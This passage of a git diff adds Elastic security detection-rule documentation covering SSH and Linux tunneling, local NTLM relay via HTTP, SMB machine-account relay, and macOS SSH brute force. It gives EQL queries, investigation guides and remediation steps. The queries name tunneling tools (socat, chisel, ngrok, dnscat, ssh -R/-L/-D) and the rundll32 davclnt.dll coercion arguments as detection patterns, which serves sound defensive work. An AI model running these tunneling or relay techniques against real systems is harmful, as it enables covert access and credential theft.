specifying the associated process names or user accounts. +- Development or testing environments where developers use SSH tunneling for accessing remote services might cause alerts. Implement exceptions for specific IP addresses or user groups associated with these environments. +- Monitoring or logging tools that utilize SSH for secure data collection can be mistaken for malicious activity. Whitelist these tools by their process names or command-line patterns to prevent false positives. +- Internal network services that rely on SSH port forwarding for legitimate communication should be reviewed and excluded based on their known behavior and usage patterns. + + +*Response and remediation* + + +- Immediately isolate the affected Linux system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious SSH sessions identified by the detection rule to halt potential tunneling or port forwarding activities. +- Conduct a thorough review of SSH configuration files and logs on the affected system to identify unauthorized changes or access patterns. +- Reset credentials for any accounts that were used in the suspicious SSH activity to prevent further unauthorized access. +- Implement network segmentation to limit SSH access to only necessary systems and services, reducing the risk of lateral movement. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are compromised. +- Enhance monitoring and logging of SSH activities across the network to detect similar threats in the future, ensuring alerts are promptly reviewed and acted upon. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +process.name in ("ssh", "sshd") and process.args like "-o*" and +process.command_line like~ ( + "*ProxyCommand*", "*LocalForward*", "*RemoteForward*", "*DynamicForward*", "*Tunnel*", "*GatewayPorts*", + "*ExitOnForwardFailure*", "*ProxyCommand*", "*ProxyJump*" +) and +not ( + ?process.parent.args == "/usr/bin/pvedaemon" or + ?process.parent.command_line in ("pvedaemon", "pve-ha-lrm") or + ?process.working_directory like "*ansible*" or + process.command_line like "*ansible*" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Proxy +** ID: T1090 +** Reference URL: https://attack.mitre.org/techniques/T1090/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-linux-tunneling-and-or-port-forwarding.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-linux-tunneling-and-or-port-forwarding.asciidoc new file mode 100644 index 0000000000..65f3e3674f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-linux-tunneling-and-or-port-forwarding.asciidoc @@ -0,0 +1,224 @@ +[[prebuilt-rule-8-19-20-potential-linux-tunneling-and-or-port-forwarding]] +=== Potential Linux Tunneling and/or Port Forwarding + +This rule monitors for a set of Linux utilities that can be used for tunneling and port forwarding. Attackers can leverage tunneling and port forwarding techniques to bypass network defenses, establish hidden communication channels, and gain unauthorized access to internal resources, facilitating data exfiltration, lateral movement, and remote control. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.bitsadmin.com/living-off-the-foreign-land-windows-as-offensive-platform +* https://book.hacktricks.xyz/generic-methodologies-and-resources/tunneling-and-port-forwarding + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Auditd Manager +* Resources: Investigation Guide + +*Version*: 115 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Linux Tunneling and/or Port Forwarding* + + +Attackers can leverage many utilities to clandestinely tunnel network communications and evade security measures, potentially gaining unauthorized access to sensitive systems. + +This rule looks for several utilities that are capable of setting up tunnel network communications by analyzing process names or command line arguments. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible investigation steps* + + +- Identify any signs of suspicious network activity or anomalies that may indicate protocol tunneling. This could include unexpected traffic patterns or unusual network behavior. + - Investigate listening ports and open sockets to look for potential protocol tunneling, reverse shells, or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} +- Identify the user account that performed the action, analyze it, and check whether it should perform this kind of action. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} + - !{osquery{"label":"Osquery - Retrieve Process Info","query":"SELECT name, cmdline, parent, path, uid FROM processes"}} +- Investigate other alerts associated with the user/host during the past 48 hours. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + + +*Related rules* + + +- Potential Linux Tunneling and/or Port Forwarding via Command Line - 8c8df61f-ed2a-4832-87b8-ee30812606e0 +- Potential Protocol Tunneling via Chisel Client - 3f12325a-4cc6-410b-8d4c-9fbbeb744cfd +- Potential Protocol Tunneling via Chisel Server - ac8805f6-1e08-406c-962e-3937057fa86f +- Potential Protocol Tunneling via EarthWorm - 9f1c4ca3-44b5-481d-ba42-32dc215a2769 +- Suspicious Utility Launched via ProxyChains - 6ace94ba-f02c-4d55-9f53-87d99b6f9af4 +- ProxyChains Activity - 4b868f1f-15ff-4ba3-8c11-d5a7a6356d37 + + +*False positive analysis* + + +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- If this activity is related to a system administrator or developer who uses port tunneling/forwarding for benign purposes, consider adding exceptions for specific user accounts or hosts. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors, such as reverse shells, reverse proxies, or droppers, that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and ( + ( + // gost & pivotnacci - spawned without process.parent.name + (process.name == "gost" and process.args : ("-L*", "-C*", "-R*")) or (process.name == "pivotnacci")) or ( + // ssh + (process.name == "ssh" and ( + ( + /* exact tunnel argument matching */ + process.args in ("-R", "-L", "-D", "-w") or + /* single-dash token, first letter is NOT o/O, contains one of R/L/D/w/W somewhere later */ + process.args regex "-[A-NP-Za-np-z][A-Za-z]*[RLDwW][A-Za-z]*" + ) and + process.args_count >= 4 and + not ( + process.args == "chmod" or process.command_line like "*rungencmd*" + ) + )) or + (process.name == "ssh" and process.args == "-J") or + // sshuttle + (process.name == "sshuttle" and process.args in ("-r", "--remote", "-l", "--listen") and process.args_count >= 4) or + // socat + (process.name == "socat" and process.args : ("TCP4-LISTEN:*", "SOCKS*") and process.args_count >= 3) or + // chisel + (process.name : "chisel*" and process.args in ("client", "server")) or + // iodine(d), dnscat, hans, ptunnel-ng, ssf, 3proxy & ngrok + (process.name in ("iodine", "iodined", "dnscat", "hans", "hans-ubuntu", "ptunnel-ng", "ssf", "3proxy", "ngrok", "wstunnel")) + ) and process.parent.name in ("bash", "dash", "ash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Technique: +** Name: Proxy +** ID: T1090 +** Reference URL: https://attack.mitre.org/techniques/T1090/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-local-ntlm-relay-via-http.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-local-ntlm-relay-via-http.asciidoc new file mode 100644 index 0000000000..edd49df06b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-local-ntlm-relay-via-http.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-20-potential-local-ntlm-relay-via-http]] +=== Potential Local NTLM Relay via HTTP + +Identifies attempt to coerce a local NTLM authentication via HTTP using the Windows Printer Spooler service as a target. An adversary may use this primitive in combination with other techniques to elevate privileges on a compromised system. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/med0x2e/NTLMRelay2Self +* https://github.com/topotam/PetitPotam +* https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 316 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Local NTLM Relay via HTTP* + + +NTLM, a suite of Microsoft security protocols, is often targeted by adversaries for credential theft. Attackers may exploit the Windows Printer Spooler service to coerce NTLM authentication over HTTP, potentially elevating privileges. The detection rule identifies suspicious rundll32.exe executions invoking WebDAV client DLLs with specific arguments, signaling attempts to access named pipes via HTTP, indicative of NTLM relay attacks. + + +*Possible investigation steps* + + +- Review the process execution details for rundll32.exe, focusing on the specific arguments related to davclnt.dll and DavSetCookie, to confirm the presence of suspicious WebDAV client activity. +- Investigate the network connections initiated by the rundll32.exe process to identify any HTTP requests targeting named pipes, such as those containing "/print/pipe/", "/pipe/spoolss", or "/pipe/srvsvc". +- Check the system's event logs for any related authentication attempts or failures around the time of the alert to identify potential NTLM relay activity. +- Analyze the history of the Windows Printer Spooler service on the affected host to determine if it has been recently manipulated or exploited. +- Correlate the alert with other security events or alerts from data sources like Microsoft Defender for Endpoint or Sysmon to identify any related suspicious activities or patterns. +- Assess the user account associated with the NTLM authentication attempt to determine if it has been compromised or is being used in an unauthorized manner. + + +*False positive analysis* + + +- Legitimate administrative tasks using rundll32.exe with WebDAV client DLLs may trigger the rule. Review the context of the execution, such as the user account and the timing, to determine if it aligns with expected administrative activities. +- Automated software deployment or update processes might use similar rundll32.exe calls. Verify if the process is part of a scheduled or known deployment task and consider excluding these specific processes from the rule. +- Some third-party applications may use WebDAV for legitimate purposes, which could mimic the behavior detected by the rule. Identify these applications and create exceptions for their known processes to prevent false alerts. +- System maintenance scripts or tools that interact with network resources via HTTP might inadvertently match the rule's criteria. Ensure these scripts are documented and exclude them if they are verified as non-threatening. +- Regularly review and update the exclusion list to accommodate changes in legitimate software behavior, ensuring that only verified false positives are excluded to maintain the rule's effectiveness. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious rundll32.exe processes identified in the alert to stop ongoing malicious activity. +- Conduct a thorough review of the affected system's event logs and network traffic to identify any additional indicators of compromise or related malicious activity. +- Reset credentials for any accounts that may have been exposed or compromised during the attack to prevent unauthorized access. +- Apply the latest security patches and updates to the Windows Printer Spooler service and related components to mitigate known vulnerabilities. +- Implement network segmentation to limit the exposure of critical services and reduce the risk of similar attacks in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to ensure comprehensive remediation efforts are undertaken. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "rundll32.exe" and + + /* Rundll32 WbeDav Client */ + process.args : ("?:\\Windows\\System32\\davclnt.dll,DavSetCookie", "?:\\Windows\\SysWOW64\\davclnt.dll,DavSetCookie") and + + /* Access to named pipe via http */ + process.args : ("http*/print/pipe/*", "http*/pipe/spoolss", "http*/pipe/srvsvc") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Forced Authentication +** ID: T1187 +** Reference URL: https://attack.mitre.org/techniques/T1187/ +* Technique: +** Name: Exploitation for Credential Access +** ID: T1212 +** Reference URL: https://attack.mitre.org/techniques/T1212/ +* Technique: +** Name: Adversary-in-the-Middle +** ID: T1557 +** Reference URL: https://attack.mitre.org/techniques/T1557/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-machine-account-relay-attack-via-smb.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-machine-account-relay-attack-via-smb.asciidoc new file mode 100644 index 0000000000..4b48bcc940 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-machine-account-relay-attack-via-smb.asciidoc @@ -0,0 +1,141 @@ +[[prebuilt-rule-8-19-20-potential-machine-account-relay-attack-via-smb]] +=== Potential Machine Account Relay Attack via SMB + +Identifies potential relay attacks against a machine account by identifying network share access events coming from a remote source.ip but using the target server computer account. This may indicate a successful SMB relay attack. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/p0dalirius/windows-coerced-authentication-methods +* https://www.thehacker.recipes/a-d/movement/mitm-and-coerced-authentications +* https://attack.mitre.org/techniques/T1187/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Data Source: Active Directory +* Use Case: Active Directory Monitoring +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Machine Account Relay Attack via SMB* + + + +*Possible investigation steps* + +- Compare the source.ip to the target server host.ip addresses to make sure it's indeed a remote use of the machine account. +- Examine the source.ip activities as this is the attacker IP address used to relay. +- Review all relevant activities such as services creation, file and process events on the target server within the same period. +- Verify the machine account names that end with a dollar sign ($) to ensure they match the expected hostnames, and investigate any discrepancies. +- Check the network logon types to confirm if they align with typical usage patterns for the identified machine accounts. +- Investigate the context of the source IP addresses that do not match the host IP, looking for any signs of unauthorized access or unusual network activity. +- Correlate the findings with other security logs and alerts to identify any patterns or additional indicators of compromise related to the potential relay attack. + + +*False positive analysis* + + +- Machine accounts performing legitimate network logons from different IP addresses can trigger false positives. To manage this, identify and whitelist known IP addresses associated with legitimate administrative tasks or automated processes. +- Scheduled tasks or automated scripts that use machine accounts for network operations may be flagged. Review and document these tasks, then create exceptions for their associated IP addresses and hostnames. +- Load balancers or proxy servers that alter the source IP address of legitimate authentication requests can cause false alerts. Ensure these devices are accounted for in the network architecture and exclude their IP addresses from the rule. +- Temporary network reconfigurations or migrations might result in machine accounts appearing to log in from unexpected hosts. During such events, temporarily adjust the rule parameters or disable the rule to prevent unnecessary alerts. +- Regularly review and update the list of exceptions to ensure they reflect current network configurations and operational practices, minimizing the risk of overlooking genuine threats. + + +*Response and remediation* + + +- Coordinate isolation of the affected domain controller with infrastructure and identity teams to contain the threat while preserving service availability and forensic evidence. Prioritize this step if active compromise or attacker persistence is confirmed. +- Reset the domain controller's machine account password, along with any accounts suspected to be compromised or exposed. Ensure strong, unique credentials are used and apply tiered credential hygiene where applicable. +- Analyze recent authentication logs, event logs, and network traffic, focusing on suspicious activity and the source IPs referenced in the alert. Correlate findings to identify any lateral movement or additional compromised systems. +- Strengthen network segmentation, especially between domain controllers, administrative workstations, and critical infrastructure. This limits the attack surface and impedes credential relay or reuse across systems. +- Escalate the incident to the SOC or incident response team to coordinate a full investigation, containment, and recovery plan. Ensure stakeholders are kept informed throughout the response. +- Enhance detection mechanisms by tuning alerts and deploying additional telemetry focused on credential relay patterns, anomalous authentication, and NTLM-related activity. +- Conduct a structured post-incident review, documenting findings, identifying control gaps, and updating playbooks, configurations, or security policies to reduce the likelihood of similar incidents in the future. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.code == "5145" and endswith(user.name, "$") and + + /* compare computername with user.name and make sure they match */ + startswith~(winlog.computer_name, substring(user.name, 0, -1)) and + + /* exclude local access */ + not endswith(string(source.ip), string(host.ip)) and + source.ip != "::" and source.ip != null and source.ip != "::1" and source.ip != "127.0.0.1" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Forced Authentication +** ID: T1187 +** Reference URL: https://attack.mitre.org/techniques/T1187/ +* Technique: +** Name: Adversary-in-the-Middle +** ID: T1557 +** Reference URL: https://attack.mitre.org/techniques/T1557/ +* Sub-technique: +** Name: LLMNR/NBT-NS Poisoning and SMB Relay +** ID: T1557.001 +** Reference URL: https://attack.mitre.org/techniques/T1557/001/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-macos-ssh-brute-force-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-macos-ssh-brute-force-detected.asciidoc new file mode 100644 index 0000000000..f26cbfabfd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-macos-ssh-brute-force-detected.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-20-potential-macos-ssh-brute-force-detected]] +=== Potential macOS SSH Brute Force Detected + +Identifies a high number (20) of macOS SSH KeyGen process executions from the same host. An adversary may attempt a brute force attack to obtain unauthorized access to user accounts. + +*Rule type*: threshold + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://themittenmac.com/detecting-ssh-activity-via-process-monitoring/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential macOS SSH Brute Force Detected* + + +SSH (Secure Shell) is a protocol used to securely access remote systems. On macOS, the `sshd-keygen-wrapper` process is involved in SSH key generation. Adversaries may exploit this by repeatedly attempting to generate keys to gain unauthorized access, a tactic known as brute force. The detection rule identifies unusual activity by monitoring for excessive executions of this process, indicating potential brute force attempts. + + +*Possible investigation steps* + + +- Review the alert details to confirm the host and process information, specifically checking for the host.os.type as macos and the process.name as sshd-keygen-wrapper. +- Examine the frequency and timing of the sshd-keygen-wrapper process executions to determine if they align with normal user activity or if they suggest an automated brute force attempt. +- Investigate the parent process, launchd, to ensure it is legitimate and not being used maliciously to spawn the sshd-keygen-wrapper process. +- Check for any recent successful or failed login attempts on the affected host to identify potential unauthorized access. +- Correlate the activity with any other alerts or logs from the same host to identify patterns or additional indicators of compromise. +- Review user account activity on the host to determine if any accounts have been accessed or modified unexpectedly. + + +*False positive analysis* + + +- Legitimate administrative tasks may trigger the rule if an administrator is performing routine maintenance or updates that involve generating SSH keys. To handle this, create an exception for known administrative accounts or scheduled maintenance windows. +- Automated scripts or applications that require frequent SSH key generation for legitimate purposes can cause false positives. Identify these scripts or applications and exclude their associated processes or hosts from the detection rule. +- Development environments where SSH keys are frequently generated for testing purposes might trigger the rule. Consider excluding specific development machines or user accounts from the rule to prevent unnecessary alerts. +- Continuous integration/continuous deployment (CI/CD) systems that automate SSH key generation as part of their workflow can be a source of false positives. Exclude these systems or their specific processes from the detection rule to avoid disruption. +- If a known security tool or monitoring system is configured to test SSH key generation as part of its checks, it may trigger the rule. Verify the tool's activity and exclude its processes if deemed non-threatening. + + +*Response and remediation* + + +- Immediately isolate the affected macOS host from the network to prevent further unauthorized access attempts. +- Terminate any suspicious or unauthorized `sshd-keygen-wrapper` processes running on the affected host to halt ongoing brute force attempts. +- Review and reset SSH credentials for all user accounts on the affected host to ensure no unauthorized access has been achieved. +- Implement IP blocking or rate limiting on the SSH service to prevent further brute force attempts from the same source. +- Conduct a thorough review of the affected host's SSH configuration and logs to identify any unauthorized changes or access. +- Escalate the incident to the security operations team for further investigation and to determine if additional hosts are affected. +- Enhance monitoring and alerting for similar SSH brute force patterns across the network to improve early detection and response capabilities. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:macos and event.type:start and process.name:"sshd-keygen-wrapper" and process.parent.name:launchd + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-malware-driven-ssh-brute-force-attempt.asciidoc 